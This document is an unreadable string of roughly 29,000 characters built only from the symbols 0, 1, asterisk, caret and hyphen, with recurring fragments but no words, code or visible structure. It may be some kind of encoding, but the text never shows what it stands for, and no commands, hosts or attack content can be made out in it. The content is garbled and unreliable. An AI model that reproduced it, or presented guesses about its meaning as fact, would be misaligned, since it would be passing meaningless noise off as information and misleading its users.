^1*0-1*011*001^1*001*******010101010--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001**010^1******1**011****00101***1^1^1******0---------01**-*01*001^1*10-*01010^1*******0011**1010-0-*00--------1^-1*-0010-*--------001101*00-*01*001^1*^1101******001^110^11**1*010^1*****01**01^11**0^-*001*1*********10101*010-0010-01*011**1*0--------^^1*0-*01*001^1*^11*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------10-01*0-*01*001^1*01101*1101*00101******00--01*10^11011******011**0011*-**01**--------0^-*0-*01*001^1*1*^11*-0-11*101*001*1*1101**101*--------01^-*-00^1101******1^101*^1**^1^^1*****01***010101*001*11*001*1*--------1^^1*-*01*001^1*00-**********1*********01**0101*101*01^11*00^1101*1*10-11*1*011*1*00101*00--------00110101*-*01*001^1*110110^-1*1*^101011*101*001*1*0101*001101*--------110-01*-*01*001^1**11*01^1*11****001**-1**001011*******************011011********0-0101********0-0101********010-*********^^1********011*101********110^1**********001********0-*********001010101********0011011*********11*0101*1*1*001*1*********101*1*0-00-*001^1*001*******010101010--0011*001^1*001****01**0^110^--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001***^1******1**00101****11***01^1^1******0--------01011**-*01*001^1*-01*01010^-*00--------00^1*00-*01*001^1*-01*--------1^-1*-*0011*--------0^11*00-*01*001^1*^1101010-110-11*1*^1*-10-11**1*01*1*********-1*0^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1*101*0-*01*001^1*01101*1101*00101****1**01101010-11011011011******011**0011*101**--------10^11*0-*01*001^1*1*^--*-11*-*001*1*1101**01*01********1^^10101*0--101**0^1*--------1^-1*-*1011*--------1**1*-*01*001^1*^1101*****00^10-0^^1*001*010^^110^-11*011*001*1*********0^1*********1**0101*101*01^11*00^1101011010110-11*1*011011**001*00--------00^101*-*01*001^1*-01*0101*001101*--------0-0101*-*01*001^1*^1101********0^1*1*00^1*^1*****01**0^-1**^101*001*1*01^1*11****001**0-**001011********10^101********11011*********0-001*******************00^11*********^11********0-00101********00^11********010-001********10^101********10^1*********00-1*********11*0101*1*1*001*1*********0^101*0-*001*01^1*001****01**0-010^--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**011*1******1**00-****11***01^1^1*1*******0010101*********011*******0101*0-^11*****01**00-101*****00^1*01*-******************************10^1******101*001*11********0-*11*****0^1*01101^1********01********************0011*01*****00^1**--********010-******^1*001*011********01**1*******0010101*********011*******^1*01011******001**01*-*****00-**0-001*****************************00101101******001**00^1********010^11*****0-**11*11********01*********************01^1******001*01*01*********01011******-*0010110-********01********10^11*001***010101*001*0----------1*0-0010-^1^1*^1101*****00^11*-10-*001*010^10-*0-11*10-*1*1*-----1^--1^10--^^101^-*10-*01*1*-1*01*1*--------00-001*-0010-^1^1*10-*-1*01^1**11010-01*-1*01*1*--------01010101*-0010-^1^1*^11010-*10-11*1*^1********00-001*00^^11*1*1*-----10--10-0010--00^101^-*10^1*1*1*1^1*1*1*---------*11*-0010-^1^1*-01*1^1*1^1**11010-01*1^1*1*1*********0110101********0^-*******************00-*********00110101*******************^-*********-*********0110101********00^1*0101*1010-^1*1*10-^1^1*00-***********0010-01101^1*********11*0010-011*************************************************************0101*00101*10110-001*1*110-001^1**11*00-0110101******001^^-1101101101*01*1*--------1^-1*-*0-*---------*11*-00^-001^1*1*^1********-01101*00^^11*1*1*********-1*0^-001101*01*1*********11*1*****************************************0-*********11*1********0011*1********00-*00101*10^-001*1*^-001^1*^11*********010^1010-011*************************************************************0101*00101*10-01^1*1*-01^1^1**11*00-0110101******001^^-11011*11*01*1*--------1^-1*-*0-*--------0-0011*-0010101^1^1*-01**********1*0^-*011*01*1*********00-***************************************************0010101*********10101*********-*00101*1010101^1*1*10101^1^1*01011*********11*01010-0110101****01**10110^-10110110101******1101101*0101******01**^-01*001******01**00^-*001*011*01*1**1**************************************************************00101*00101*101^1^1*1*1^1^1^1*^11*0011*01^1*0101****1**00-*01^-01101*01*1**************************************************************0101*00101*101*1^1*1*1*1^1^1*^11*1101*01^1*0101******001^-01^-0^11*-01*^11*0101*01*1**************************************************************0101*00101*10-10^1*1*-10^1^1*^11*0101*01^1*0101^-001*1*1*0^1*1*1******01**0-00101*-001^1*1^1*01101*0^1*1^1*011*001*1*--------*-01*-0010110^1^1*10-*-----1010-11011*00--00^101^-*1*01*1*1*1*1*1*1*--------110^11*-0010110^1^1*^11*1*1*1^1**11010-01*1*1*1*1*********1*01*********00101*******************01*01*********-*********0101101********************0101*********001*0101*1010110^1*1*10110^1^1*-01***********0010-01101^1*********11*0010-011*************************************************************0101*00101*1011010^1*1*11010^1^1*01011*00-0110101******001^^-11011*01*01*1*--------01^-*-00^1101******01*00-*11*00^1^^1********0^^1*00^11011*1*1*--------001*11*-00^10^1^1*^1101*^110-11*1*^1********0--1*00^-01*1*1*********0^1*^-*001*01*1*********001101*********01101*********01101******************************1^11*******************0-*00101*10^10^1*1*^10^1^1*^11*********0101101010-011*************************************************************0101*00101*10-00^1*1*-00^1^1*-01*00-0110101******001^^-110110^1*01*1*--------1^-1*-0011011*--------101*11*-0010^^1^1*11011010^11*1*^1*****01**0-***01*0011*1*1*********1*1*^-00^1*01*1*******************0010^1******************************0-1******************************0-*00101*1010^^1*1*10^^1^1*00-*********001^1010-0110101****01**10110^-10110110101******1101101*0101*1010110-11*-01^-11*^1*01*1**1*********01*1*******************001*1******************************0101*00101*1011*^1*1*11*^1^1*-01*^1*01^1*0101****1**00-*01^-*01*01*1**************************************************************0101*00101*101*0^1*1*1*0^1^1*01011**1*01^1*0101******001^-01^-0^11*-01*^11*-*001*1**************************************************************0101*00101*10-11*1*1*-11*1^1*-01*-----1*-11*00101*-*1101*1^1*00-**********1**0-00--------00110-*-00^11010^10110-11*1*^^-^-11**11*1*1*-----1*-11010-01*-*1101*1^1*1*^1*****01**010-101*001*0011*1*1*********-1*0^-001**00--110101*-11*00101*1*1*-----1*-1^101011*-*1101*1^1**01*-11*00101*1^1*-01*--------0^-1*-**1*-11*-----1*--1^-*-*1101*1^1*1*1*-11*********^1*0^-001**00--101101*00101*1*1*-----1*-11010-11*-*1101*1^1*^1101*****00-10-^-1**1*010^1*********11011*001*0-*1*1*00101*1^1*0^1*-11**01*1^1*101*001*1*--------11*-*-00^110101*^1********-0^1*00^-01*1*1*1*^1*****01**0-10101*00^-01*1*1*-----1^--01101*00-*1101*1^1**1101*11*0-11*1*^1********-*11*001*0011*1*1*********0^1*^-001**00--11*1*-11*00101*1*1*-----1^-11010^1*0-*1101*1^1*1101101*-*1*^1********11*101*001*1011*1*1*00101*1^1**01*-11*-----1^---101*0-*1101*1^1**11*-11*101*001^1*110101******-0^1*101******1**0^^1**1******1**0010101**0^-01*011*******011**0010^10-*-*001011010-*011011***01*********001^1*001*01*001*1*--------1^-1*-0011011*-----1^-110^^1*-*1101*1^1*^1101******11*01^1011**1*010^1*****001**101^1**1*0-*1*1*********10101*^-001**00---11*0-11*00101*1*1*-----1^-110^1101*-*1101*1^1*11011010^11*1*^1********0-0101*00^^11*1*1*00101*1^1*1011*0-11*-----1^--11*11*-*1101*1^1*^11*******1*001*00-00-00110101******-01101*101******11**1010^1*001******11**0^-1*00^^1*0--------01^-*-00^1101*****0011*1*01101**0^1^^1*****01**00110^1*00^11011*1*1*-----1^--110-1*-*1101*1^1*-11*-11*********^1*0^-001**00--^11*0-11*00101*1*1*-----1010--101**0-*1101*1^1*^1101*******11011010-**1*010^1********0^-1*001*0-*1*1*00101*1^1*00-*-----1010--1*1*00-*1101*1^1*1^1*-11*01*10-0101******--*00101******1**0^-1**1******1**0-0011**1*11*******00101011*10^^-*011***101^101**0^11011*00^110-11*011**0011*1011*01*1*--------0^-1*-0011011*-11*-----1010-1^10101*0-*1101*1^1*-01**********1*0^-001**00---011*00101*1*1*-----1010-1101^11*0-*1101*1^1**11*00101*1^1*10-*1101*01011*01*1*--------01^-*-00^1101********00^-1*00^1*^1*****01**01*11**01*0011*1*1*-----1010--11*01*-*1101*1^1*01101**********1*0^-001**00--^-*00101*1*1*-----1010--001^1*-*1101*1^1*0-*0-11*00101*1^1*1^1*-11*1*1*1^1*01101*--------^10-*-00^1101********0-01011*00^1*^^110110-11*^11*1*1*-----1010--00-01*-*1101*1^1*^1101*****00110-1101011**001*010^1*11*-11*10-*1*1*********0^1*^-001**00--10^1*-11*00101*1*1*-----1010-1101101011*-*1101*1^1*1011*0-11*00101*1^1*1*1*-11*-----1010--1*-*-*1101*1^1*0-0^-11*011*001^1*110101******-0^1*101********0010101011*001*********1101101*00^-01*011****011**0011*1*101*^11*1*1^-0011011*01*001*******************01011*01*01*0-*001*001*1*--------01^-*-00^1101*****00-*^11*1**1*010^1**********01*001*0-*1*1*------0--1^1*00-*1101*1^1*01^^-11*********^1*0^-001**00--1*01*-11*00101*1*1*------0--10-*00-*1101*1^1*-10^-11*00101*1^1*0011*0-11*1011*00101^-11*01*1*0-*01*1*--------0^-1*-00-10^-11*------0--010101*0-*1101*1^1*^1101*****00-0^1*^1**^1^^1*****01***1101**0^11011*1*1*********10101*^-001**00---01*0-11*00101*1*1*------0--010-*0-*1101*1^1*1101101*011*1*^^-110-11*^11*1*1*00101*1^1*01011*------0-11011*01*-*1101*1^1*1101*0-11*01*10-0101******--*00101*********00^11*001*********1101011*001*11*******011**00101*0-*-*001011010-*011*0101**1********001*0011*001*11**1101*1011*01*1*--------0^-1*-0010^^-11*------0-11010-01*-*1101*1^1*^1101******-1^10-1**01*010^1*****001**0^1**001*0-*1*1*********10101*^-001**00--1^11*00101*1*1*------0--0011011*-*1101*1^1*^1101*****001^1^1*0-*001*010^101*010-11*10-*1*1*00101*1^1*0-1*0011*00101****01**11010^1^-0--------01^-*-00^1101*****0010^^^-1**^1^^1*****01**010101**00^11011*1*1*-----^---**00-*1101*1^1*01011**********1*0^-001**00--110-*00101*1*1*-----^--^11**-*1101*1^1*0^1^-11*00101*1^1*00101*-11******0101*00101011*00-00--------0^-1*-*^1^-11*-----^--0^11*00-*1101*1^1*^110101*^101101010-11**11*1*1*1*^101011*-11**11*1*1*********0^1*^-001**00---001*-11*00101*1*1*-----^---^1*0-*1101*1^1*^110101*^1********01010101*001*1011*1*1*1*^1********10-101*001*1011*1*1*00101*1^1*11011*-----^--0101011*0-*1101*1^1*^1101*****0010110-1*-1*001*010^1*****01***^11**1*0-*1*1*01*10-0101******--*00101******1**01*-**1******1**0-1011**1*11****011**0011*1*101*^11*1*1^-00-^^1*001*******************01011*01*0^^11*011*00-01*1011*01*1*--------10110-*-*101101*011*1*^-1*10-11*01011*1*1*-----^--1^1101*-*1101*1^1*1*^1********01*101*00^-01*1*1*********-1*0^-001**00--101011*00101*1*1*-----^--001^11*-*1101*1^1*-01^-11*00101*1^1*10101*-11*-*001^1*0101^11*1*1*1**01*1*1*--------0^-1*-00-01^-11*-----^---00-*-*1101*1^1*01101^-11*********^1*0^-001**00--^101*-11*00101*1*1*-----^--110-11*-*1101*1^1*1*^--110-11*^11*1*1*00101*1^1*^11*1011*01^1*1*******0011**1011*1^11*--------0^-1*-*011*0-11*-----110--^11**-*1101*1^1**1101*001*-11*1*^^-*^11*1*1*********0-*0^-001**00--1*11*00101*1*1*-----110--1*11*00-*1101*1^1*1*^^^^-11*-01*1*1*00101*1^1**11*0101*0011****01**0010^11*101******01***1011**1******01**1****1*1011*-11*--------0^-1*-*00-00-11*-----110--^1101*0-*1101*1^1*1*^1********011*01*001*0011*1*1*********-1*0^-001**00---101*00101*1*1*-----110--0^-*0-*1101*1^1*^1101010-00--01********00-1011*001**01101^^1*****01**01^101**1*01****01**0^110^--01^^1********-1*1*001*01****01**0^110^--********0-1*1*001*01****01**0^110^--00-0110-11*1*^1*****01***11***1*0011*1*1*00101*1^1*1101*0-11*******01**001101*-00--------0^-1*-*101*0-11*-----110--00-101*-*1101*1^1*^11010-1*0-11*1*^101101010-11*-01*1*1*********-1*0^-001**00--10101*0-11*00101*1*1*-----110--01101011*-*1101*1^1*1101101011011*1*^1********01010-*00^-01*1*1*00101*1^1*^1*0-11*0-*01^1*-*00--------01^-*-00^1101******01^-0-01**^1^^1********1^-1*00^11011*1*1*-----10--11***0-*1101*1^1*0-1**********1*0^-001**00--10-1*00101*1*1*-----10---001**-*1101*1^1*1*^1********11*101*001*1011*1*1*00101*1^1*0-*0-11*-----10--101^1*00-*1101*1^1*11011010^11*1*^101101010-11*-01*1*1*001*001^1*110101******--*00101******1**00-011**1******1***00-**1*11*******00101011*10^^-*011***101*011**01*1011*00110^-11*^1*0--------0^-1*-*-1*-11*-----10--10101101*0-*1101*1^1*^1101010-*-11*1*^-101*^11*1*1*********0-*0^-001**00--11011*0-11*00101*1*1*-----10---00-*0-*1101*1^1**11010-01*1*^10^1010-11*^11*1*1*00101*1^1*-1*0-11*-----10--1101*01*-*1101*1^1*^-00-11******0^1***001^-00110101******-01101*101******01**00-001*001******01**110-11*001*01*001*1*---------10-*-001*^-0-10-11**11*1*1*-----10--10-0101*-*1101*1^1*00101*-11*********^1*0^-001**00--10-*0-11*00101*1*1*-----10--101*011*-*1101*1^1*00110^-11*00101*1^1*0101*0-11*-1*01^1*01101*--------0^-1*-*0110^-11*-----10--1^11011*-*1101*1^1*^1101********00101^1*00^1*^1********10101101*00^-01*1*1*********10101*^-001**00--1^1*0-11*00101*1*1*-----10--1^-11*-*1101*1^1*1101101010-*1*^1********10-011*00^-01*1*1*00101*1^1*01101*********110-*********001*1*****01***-011*****001**1*001******1**101101******101**110-1*****0011***011*****001***01101******1**0010-1*****0101*001101101******1**01*-*****011**0^1011******1**10101*******************0110^1*****001**0110-11********010-01*****001**01^11*****0011**--01****************11**^-11*****011***1^1*****0101*001**1*****001**11*101*****01**0110-01*****001**-00-*****011**001011******101*00^101*********10-11*****0011*0010^11******01**0^11*****00101**1********1**010-********00101^1*****0101**-0101*****01**010-01********0-00-*****01**0-011********00^1011******01**1010-*****001**0-1101*****0011*00101101******011*00^-******1**0-011******001**010-******01*00-011******01**0^1******011**-*01*****01**01101^1*****011**0101101*****001**0-11******0011*001^1*********00101******0101*0011*011*****011**^11******0101**11*1******01*00-00101******1***0011******1*00^1^1********110-00101*^1101*1*1*01101*1^1*10110^-11*10-*1^1*001*******-1*10--*-*1^1*001*******010101010--011011*1^1*001****01**0^110^--001011*1^1*001****01**0-010^--0^11*1^1*001****01*****0--*011*1^1*001*******0-11010--0-01*1^1*001****01**001**0--001101*01^1*********1***-001*1***001**001*1******1101*01101101****1**001^11011********************-******0011**00-011*****001**110-******1**01*0101********01*********************00^1*****0011**10-01********0^-1******1**00^-********01*********************00^1******1**1101011********01*-*****001**0010-11********01********1^101*00^1010^-**0-0110101******001^^-11011011011*******101*01101*0--1101**^1*********0-*010-0---------*1011*-*-1*1^1*01011*-----110--1010-1010-*101****01**010-*0010^101**^1*********00101*********00101*******************************101*********101*00101*^-1*1*1*0-1*1^1**11*00-0110101******001^^-110110^1*01*1*--------1^-1*-0011011*--------^^11*-*0-*1^1*01011**********1*0^-00^1*01*1*^1*01^1*1*******0010101^1010-*01*01*1*********10^1*********-1******************************00-1*********10^1*********11*00101*1*-*1*1*00-*1^1*^11**********^1010-0---------0010-*-00^1101*****00-110-1*001*00^1^^-*^-11**01*1*1*---------1^1*-*1011*1^1**11**********1*0010-*101****1****^-1011*01*01*1*0101****01**10110^-10110110101******001^1*0101******01**^10101*001******01**1**1*001*01*001*1*-**01*001^1*1*******00-1101^10-00101****1**0-11*-1011*01*01*1*********10^1*00-*******************0010101********00101*********00101**********-001********0101**********-001********0-*00101*^1011*1*1*01011*1^1*00-**1*01^1*110101******0-^1*101******01**0-0-*001******01**00101101*00^110101******^1011*0101******1**0--01*001******1**011*101*001*11*******00101011*10^^-*011*0-0010-1*11*001*1101*********10-011*001*001**-0110101******001^^-110110-*001*1*--------1^-1*-0011011*--------^^11*-*0011*1^1*^11**********1*0^-00-*001*1*-*001^1*1*******0010101^1010-0011*001*1*********10^1*******************00-1*********^1********************0-1*********011*00101*1*011*1*1**11*1^1*-01**********^1010-0---------^-1*-0011011*--------10-001*-0010101*1^1*^1101010-^-11*1*^1********-*11*001*1101*1*1*********0^1*010-*101****1****^-101^11*001*1*0101****01**10110^-10110110101******001^1*0101*1011*-11*0^1^-11*^1*0-*001011*01*******00-1101^10-00101****1**0-11*-101^11*001*1*********10-**-*********1*1********00101**********11*1********001*1*******************0101**********11*1********0-*00101*1010101*1*1*10101*1^1**11*011*001^1*110101******0-^1*101*********1^101*001*********0--*00^110101******^1011*0101******1**01^11**01******1**0-101**01*11*******011**00101*0-*-*001011010-*01101^1**01*01^10-11**1**11*00101****01**^-*0010^101**^1******01**01*0-*-******************************1011*********0101*********00101*********00101*00101*101^1*1*1*1^1*1^1*01011*-----10--^10^1*-*011*01^1*-01**********1**0-00--------1^-1*-0011011*-----10---^101*-*011*01^1*01101**********1*0^-001**00--101011*0101*01*1*-----10--1^-01*-*011*01^1*^1101*-*-11*1*^1********11*101*00^1*1*1*1*0101*01^1*-01*--------01^-*-00^1101******^10^-011**^1^^1********1^1101*001**1*1*1*-----10--11*0-*-*011*01^1*01011**********1*0^-001**00--101101*0101*01*1*-----10---00-1*-*011*01^1*1*^-1*10-11*1*1*1*1*0101*01^1**11*0101*0011****001**1011**010^--------0^-1*-00^1*0-11*---------1**0-*011*01^1*0011*0-11*********^1*0^-001**00---101*0101*01*1*--------01*1*00-*011*01^1*^1101011011*-11*1*^1*********^11*00^1*1*1*1*0101*01^1*^11*1101*00101****01**11010^1^-0--------01^-*-00^1101*****00-*10^1^1*00^1^^1********-10101*001**1*1*1*--------*0101*0-*011*01^1*1101*0-11*********^1*0^-001**00--1*11*0101*01*1*--------11*11*0-*011*01^1*^1101*****0011*0-0110-*001*010^--010-11*-1*01*1*0101*01^1*01011*101*001^1*0101****01**^10^-101^11*00--------1^-1*-*-1*--------011*01*-*011*01^1*^1101******0-1^101^1*001*010^1********00110101*001*-*01*1*********10101*^-001**00--1^11*0101*01*1*--------10^101*-*011*01^1*^1101********001*001*00^1*^1********1*0011*00^1011*01*1*0101*01^1*01101*********1101^1********010^11********10101101**********01*******************10^11********0101101********010-1******1***1*******1**01*01********00-10-********1101^1*****01***1**********0011******01***-*********-1*0101*1*11*01*1*0011*01^1*0101*0-11*1*1*1^1*001****01**0-010^--*001*1^1*001****01**0^110^--0-1*01^1*001*******-1*10--00-*01^1*001*******010101010--01011*01^1*001****01*****0--001101*1^1*001****01**001**0--001101*01^1*********1***-001*1***001**01*01******11**00110-**00101***1^11011************-*001**0-101**1011**00-1101***1********001*1********10101*11**0-0110101******001^^-11011011011*******101*01101*0--^1**^1*********0-*010-0---------^-1*-*0011*--------0-011*0-*-*01^1*00-**********1*0010-*101****01**010-*00101*01**^1*0101****01**00101*-10110^1*0011****001**-01^-1011*01*0^1*0011****001**10101^-101^11****011**0011*1*101*^11*1*1^-001101*101*001*******************001**1*01*0011*^1*0011****001**1^1^-101^11****001**^1**0101*1**^1*0011****001**^-00-101^11****011**10-001*10^1101**-^1*^110^1**01*0101*00-*-11*-11*^1*01011*0011****001***01^1^-0011**011*00101****01**^-*00101*01**^1*********0110101*0-********001010-*******************1101101********01101101********0101*********001101101*******************-*00101*^-*01*1*0-*01^1*01101*-----10---11011*0-00-*001^1*^1101******1010101^1***1*010^^10-0-11*0011*01*1*********0^1**-00--------01010-*-*001101*011*1*^1********00^-*001*001*01*1*-----10--11010^1*-00-*001^1*^1101******1*0-0-**001*010^11*0010-11*1101*01*1*********0^1*^-001**00--101011*101*001*1*-----10--11*1101*-00-*001^1*00-*101*001^1*-01*--------^10-*-00^1101*****00-011011*011**^1^^1*0-0-11*^1*01*1*-----10--^1^11*-00-*001^1*^1101******-0011*11011*00^1^^1********0010^1*00^^1*01*1*********10101*^-001**00--101101*101*001*1*-----10---010-*-00-*001^1*^1101*******10-01101**0^1^^1*****01**0-1^1*00^^1*01*1*101*001^1*^11*1101*0011****001**0011**010^--------1^-1*-*1101*---------1**0-00-*001^1*01011**********1*0^-001**00--1*11*101*001*1*--------1*01*00-00-*001^1*^1101********010101011*00^1*^110-^-11**1*01*1*101*001^1*01011*001*001^1*0101****01**^10^-10110-*00--------^10-*-00^110101^1*-11*1*^1********1010^1*001*101*01*1*--------0-001*0-00-*001^1*10-**********1*0^-001**00--1^11*101*001*1*--------*0011*0-00-*001^1*^1101******10^110--**^1^^1********^1*1*00^^1*01*1*101*001^1**11*0101*00101****01**0^1*1^-0--------0^-1*-00^1*0-11*--------101*01*-00-*001^1*0011*0-11*********^1*0^-*0-0011*^1*****01**0^1***1*01****01**001**0--*****001****-*001*01*******0-11010--01**00---101*101*001*1*--------0-0101*-00-*001^1*1*^^101*-11**1*01*1*101*001^1*01101******01***-1******1**01**********0--********00-1*********010-01********010-01*****001**01**********0--1*****001***11********************00101101********00-001********010-01*****01**0-011*********^1011********-1*0101*10-*001*1*-*001^1*11011*0011*01^1*001*******-1*10--01101*01^1*001*******010101010--00101*01^1*001****01*****0--0^1*01^1*001****01**0^110^--*01*01^1*001*******0-11010--001101*01^1*********1***-001*1***001****1******01**0-011***-***1^11011****10101*01*******1*00-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1*00-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****001**0101**0101*11*******011**00101*0011*-*001011010-*01^10101**1*********001^1*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1********--------***00-00101*001^1*^1101********0101^11*00^1*^1********1101^1*001*001*01*1*01010^1*******0011**0010-0-*00--------1^-1*-*1011*--------01*1*00-00101*001^1*^110^-*0-11*1*^1********-00101*001*001*01*1*********0^1*--00^11010^1*011011010^11**1******0011***-11*00^1011*********01010^1*001*011******001101**010-*001*101**011010-01*011*00--------1^101*0-00101*001^1*^1101*****00110-1*-01**1*010^1*****01**010-11**^-*001*1*1101*00101******0011011*-1011011011******011**0011*^1*0011011******00-**11*-**11011******01011**11*101**--------**01*-00101*001^1*^1101******11011010101^1*001*010^-011*-11*011*001*1*1101**101*--------1^-1*-00^11*--------0101^1*-00101*001^1*00-**********1*********01**0101*101*01^11*00^110^1101*-11*1*011*1**-*0101*00--------00101101*-00101*001^1*01011*0101*001101*--------0-1101*-00101*001^1*0101*0-11*01^1*11****001**-***1011********-1*********0010-1*******************010-1********0^-*********10-1********0^11*********101^1*********0-01********1*1101********1*1101********1101*0101*10101*001*1*********01*01*0-*001*01^1*001****01*****0--0-*001^1*001*******010101010--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0-11******01**01*01****1***1^1^1*--------110101*00-00101*001^1*^1*0-11*01010^-*00--------011011*00-00101*001^1*^1*0-11*--------1^-1*-0011011*--------101*1*0-00101*001^1*10-**********1*010-^^110^1011010^11*^1**01*******1**^^1**1*011*********011*011*00^1011*********01*0011*001*101**011010-01*011*00--------0011011*0-00101*001^1*-01*1101*00101******0011*-*10^11011******011**0011*101**--------**01*-00101*001^1*-01*1101*0-01*--------0^-1*-001101*0-11*--------1*^1*-00101*001^1*1101101*011*1*^1*0-0-11*011*001*1*********0-*********01**0101*101*01^11*00^110^1101*-11*1*011*1*0011**--------*01101*-00101*001^1*^1*0-11*0101*001101*--------110-01*-00101*001^1*^11*01^1*11****001**011***1011********^^1********0--********00^11*********--*********101*1********-0011********01^^1*******************-*********00-*********010-01********01010^1********0011*0101*10101*001*1*********101*1*0-*11*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**00-1**********10-**00101***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11********00-----10--11010-1*-*01*001^1*^1101*****001*01*01***0^1^^10-0010-11*0101*01*1*01010^1********1*-0010-0-*00--------0^-1*-*101*0-11*--------10101**-*01*001^1*01101**********1*0010-0010-01*011**1*0--------10^1*00-*01*001^1*1101*0-11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------010-*00-*01*001^1*11011*1101*00101****1***01^1*10^11011******011**0011*-**11011******00-**11*101**--------0010101*0-*01*001^1*^1101*****0010^-01101101*001*010^1*****001**010^1**^^1*01*1*1101**101*--------00110-*-00^11010-0-0-11*1*^-0^10-11**1*01*1*--------*-1*0-*01*001^1*^1101*****001011*10101011**1*010^1********1101*1*00^-*001*1*********10101*********1**0101*101*01^11*00^1101*-*-11*1*0110101**01*00--------0-^1*-*01*001^1*^1101********0101*11*00^1*^1*****01**011*101*001*11*001*1*0101*001101*--------10101101*-*01*001^1*1101101*011*1*^1*10^-11*101*001*1*01^1*11****001**1***001011********00^101********110101********************101*********0-101*********^101********-1*1********1010-********001*011********0-101********001*011********110-01********0011*0101*1*1*001*1*********110^1*0-*101*01^1*001****01**0^110^--0^1*01^1*001*******010101010--*01*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001**010-******01**01*001***11***01^1^1*--------^11**-00101*001^1*1*^^1*10-11**1*01*1*01010^-*00---------001*00-00101*001^1*^1*0-11*--------1^-1*-*0011*--------011011*00-00101*001^1*^1101*****00^10-0-001**1*010^1*****001**101101**0^-*001*1*********10101*10-^^110^10110^-1*^1**01******00^1**0-11*001*011******001**0--**0^1011******001**00-11**01*101**011010-01*011*00--------0101011*0-00101*001^1*^11*1101*00101*******1*-*101*1**--------^-1*0-00101*001^1*^1101******^1*101*01*00^1^^1*****01**0-0101**1*11*001*1*1101*00101*0-11*--------1^-1*-00-01*---------0^1*-00101*001^1*0-1**********1*********01**0101*101*01^11*00^110101*1^-11*1*011*1*0011**--------*01101*-00101*001^1*^1*0-11*0101*001101*--------110-01*-00101*001^1*01101*01^1*11****001******1011*********0101*********00101********0^11**********-*******************0^1^1********0-**********^101********-1101********001*101*********0101********00-**********11*0101*10101*001*1*********101*1*0-*001*01^1*001****01**001**0--0-*001^1*001*******010101010--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001***-******01***01****101***1^1^1*********--------*11**-00101*001^1*^110^1*010-11*1*^1*****01**01011***1*001*01*1*01010^-*00--------001101*00-00101*001^1*1101*0-11*--------^10-*-00^1101*******1*10--*001*010^-1*10-11*-*001*1*--------101*1*0-00101*001^1*10-**********1*010-^^110^10110^101*0-11*^1**01**^110-11*0011*00101*0-11*1011**-*0101**011010-01*011*00--------11*11*0-00101*001^1*11011*1101*00101*******11*--011011011******00-**11*-**11011******011**0011*101**--------10-11*0-00101*001^1*11011*1101**101*--------1^-1*-*-1*--------1011*1*-00101*001^1*^110^^1010-11*1*^1********01010101*001*11*001*1*********0^1*********1**0101*101*01^11*00^1101011010110-11*1*0110101**01*00--------*01101*-00101*001^1*1101*0-11*0101*001101*--------110-01*-00101*001^1**11*01^1*11****01**0--11*01011********^11*********10-001********-1^1********001^1*********10^1********01*01********001^11********001^11*******************0-*********001*01********0-1^1********0011*0101*10101*001*1*********101*1*0-*001*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******010110101*****01**0^1****101***1^1^1******001010^1**00--101101*011****001**11***101*101******00^^10110-^1**01101*01^1*********1***-001*1******0101011*********1101***0011***01^1^1******0010101*11****001**0010-*0101******1**01^-**1******1**001*11**1*101*******00110^--00101******00^^10110-^1**01101*01^1*********1***-001*1******0101011*********1*1***0101***1^1^1******0010101*101*******00^1*010^-01*0101*******00110^--001*****1101*01^1*********1***-*110101*****00--------0-**0-*01*001^1*1101101010-*1*^^1*10-11*011*001*1*01010^1*******0011**0010-0-*00--------^10-*-00^1101*****0011*0---1*00^1^^1^11*-11**1*01*1*--------1^11*00-*01*001^1*110110^1011*1*^--110-11*011*001*1*********0-*0010-0010-01*011**1*0--------^^1*0-*01*001^1*1*^-110110-11*011*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------1*011*0-*01*001^1*00-*1101*00101********1101*101*1**--------*0-*0-*01*001^1*00-*1101**101*--------^10-*-00^1101*********1*11*00^1*^110101010-11*-*001*1*--------0101*1*-*01*001^1**11**********1*********01**0101*101*01^11*00^1101*010110-11*1*011*1*0011**--------11*101*-*01*001^1*^1101********0^1^1*00^1*^1^^10-11*011*001*1*0101*001101*---------01101*-*01*001^1*1*^101101010-11*101*001*1*01^1*11****01**0110-11*01011********01^1********00^1101********00^1*********01^101********-^1*********01011*********00-**********001********01^101********-^1********010110101*******************011*0101*1*1*001*1*********^^1*0-*001*01^1*001****01**0^110^--0-*001^1*001****01**0-010^--0011*001^1*001****01*****0--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**011011******01**001011***0011***01^1^1***00--------0-1**-*01*001^1*11011*01010^1********-0-0010-0-*00--------1^-1*-0011011*--------1^11*00-*01*001^1*01011**********1*0010-0010-01*011**1*0--------11*01*0-*01*001^1*0-1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00---------0101*0-*01*001^1*^11*1101*00101****1**0^10--1011011011******011**0011*101**--------1101011*0-*01*001^1*^11*1101**101*--------01010-*-00^1101********001101011*00^1*^-101*-*001*1*--------001*01*-*01*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^110^1011*1*011011**001*00--------10-001*-*01*001^1*^1101*********11*1*00^1*^11*0^-11*011*001*1*0101*001101*--------1*1101*-*01*001^1*^1101*****001101011*01*1*001*010^1*0-0-11*101*001*1*01^1*11****01**0010-11*01011********0^-*********10101*********011*********011*01*******************0-001********001101*********0-001********0^-********011*101********0-101*********011*********0011*0101*1*1*001*1*********-^1*0-00-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**001011******01**011****0011***01^1^1*-----1